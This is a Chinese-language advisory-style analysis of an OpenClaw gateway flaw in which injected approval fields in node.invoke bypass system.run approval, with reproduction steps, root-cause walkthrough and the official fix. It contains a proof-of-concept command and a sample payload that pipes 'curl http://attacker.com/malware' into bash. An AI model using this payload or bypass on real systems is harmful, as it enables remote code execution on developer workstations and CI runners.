2026年2月14日之前的OpenClaw版本中,网关组件存在一个高危漏洞。该漏洞源于未能对 node.invoke 参数内的内部批准字段进行净化处理,导致已通过认证的客户端可以绕过针对 system.run 命令的执行审核门禁。攻击者在持有有效网关凭证的前提下,通过注入批准控制字段,能够在已连接的节点主机上执行任意命令,从而可能危害开发者工作站或持续集成(CI)运行器。

漏洞影响
- CVSS 评分:9.9(严重)
- 影响版本:< 2026.2.14
漏洞复现环境搭建
首先,在项目根目录下安装必要的依赖。
npm install
接着,启动网关服务。以下命令设置了跳过频道启动的环境变量,并以开发模式运行网关,指定了一个测试用的Token。
set OPENCLAW_SKIP_CHANNELS=1 && set CLAWDBOT_SKIP_CHANNELS=1 && node scripts/run-node.mjs gateway --dev --port 18789 --token test123 --allow-unconfigured

然后,在新的终端窗口中启动一个节点,将其连接到上一步启动的网关。注意确保 18789 端口已开放,因为这是该项目的默认监听端口。
set OPENCLAW_GATEWAY_URL=ws://127.0.0.1:18789 && set OPENCLAW_GATEWAY_TOKEN=test123 && node scripts/run-node.mjs node run --dev

漏洞验证与利用
最后,执行漏洞利用命令。此命令通过 nodes invoke 向指定节点发送一个 system.run 调用,并在参数中注入 approved: true 字段,从而绕过批准检查,执行 whoami 命令。
node scripts/run-node.mjs nodes invoke --node 4552da5fa6b27f12d47cb0a73e7d58613ed4d960bf245dca2919591edd3b6b73 --command "[ \"system.run\", \"--params\", \"{\\\"command\\\":\\\"\\\\cmd.exe\\\\/c\\\\\", \\\"approved\\\":true}\" ]" whoami

说明:由于此漏洞的利用前提是攻击者已获得认证网关客户端的访问权限,上述复现步骤直接跳过了身份认证环节,专注于验证漏洞本身。
漏洞原理深入分析
1. 攻击载荷示例
一个恶意的 WebSocket 请求可能包含如下结构,其中 params 对象内嵌了本应受网关控制的批准字段(approved, approvalDecision 等)。
{
"id": "attack-001",
"method": "node.invoke",
"params": {
"nodeId": "victim-node-01",
"command": "system.run",
"params": {
"command": ["bash", "-c", "curl http://attacker.com/malware | bash"],
"rawCommand": "curl http://attacker.com/malware | bash",
"approved": true,
"approvalDecision": "allow-always",
"runId": "fake-approval-id"
},
"idempotencyKey": "malicious-001"
}
}
2. 网关请求处理流程
当 WebSocket 连接建立后,网关会调用 attachGatewayWsMessageHandler 来处理后续消息,并将一个包含 node.invoke 处理器映射的 extraHandlers 对象传递进去。

extraHandlers 的类型为 GatewayRequestHandlers,本质上是一个将方法名(如 "node.invoke")映射到具体处理函数的字典。


在 attachGatewayWsMessageHandler 函数中,会进行身份验证、连接信息记录等操作,并根据请求的 method 字段在 extraHandlers 中查找对应的处理器。

3. 参数验证绕过
在调用处理器之前,网关会使用 AJV 编译的验证器对传入的 params 进行校验。NodeInvokeParamsSchema 中对 params 字段的定义是 Type.Unknown()。

这意味着它只检查 params 字段是否存在,而不验证其内部结构。因此,攻击者注入的、包含 approved 等内部字段的 params 对象能够顺利通过网关层的验证。
4. 处理器内部逻辑
进入 "node.invoke" 处理器后,代码会检查必需字段(nodeId, command, idempotencyKey)是否存在。

随后,参数被转换为一个内部对象 p,其中 p.params 完全由攻击者控制。

接着,代码会检查请求的命令(如 system.run)是否在节点的允许列表中。通常 system.run 是默认允许的。

关键问题在于:在整个网关层面的处理链中,没有任何代码对 p.params 这个来自客户端的对象进行过滤或净化。注入的 approved、approvalDecision 等字段被原封不动地传递给了节点注册表(NodeRegistry)。

5. 节点端命令执行
节点注册表将包含恶意参数的调用请求序列化为 JSON,发送给目标节点。

节点主机收到请求后,解析事件载荷。


coerceNodeInvokePayload 函数从 JSON 字符串中还原出攻击者注入的参数对象。

最终,在 handleInvoke 函数中执行命令。这里存在关键逻辑:代码会检查参数中是否存在 approved === true 或 approvalDecision 字段。

例如:
- 如果
approved 字段为 true,则跳过批准流程。
- 如果
approvalDecision 字段为 "allow-always",该命令甚至可能被加入永久允许列表。
由于攻击者可以在 params 中直接设置这些字段,system.run 的命令执行检查便被完全绕过,导致远程代码执行(RCE)成功,并将结果返回给攻击者。这个漏洞的根本原因在于,面向内部的安全审批字段暴露给了不可信的外部输入,并且缺乏必要的净化与验证。在云栈社区的安全板块中,这类授权逻辑缺陷是常见的深入分析议题。
官方修复方案
漏洞被报告后,官方迅速发布了修复补丁。核心修复点是新增了一个 sanitizeNodeInvokeParamsForForwarding 函数。

该函数的作用是在网关将参数转发给节点之前,对其进行“清洗”:
- 字段白名单:只允许特定的、预定义的白名单字段通过,显式移除
approved、approvalDecision、runId 等内部审批控制字段。
- 审批绑定:审批ID必须与发起请求的设备/会话绑定,防止跨设备重放攻击。
- 决策降级:即使从其他合法路径获得了审批决策,在转发前也会被强制降级为
allow-once(单次允许),杜绝 allow-always 这类永久授权被注入滥用。
这个修复从根本上切断了攻击者通过参数注入来操控内部审批流程的路径,确保了审批机制的控制权牢牢掌握在网关手中。对于在Node.js环境中构建高安全性应用架构的开发者来说,这是一个非常值得参考的输入验证与上下文隔离案例。
参考链接
本文技术内容由社区成员分享,更多关于系统安全与漏洞分析的深度讨论,欢迎访问云栈社区进行交流。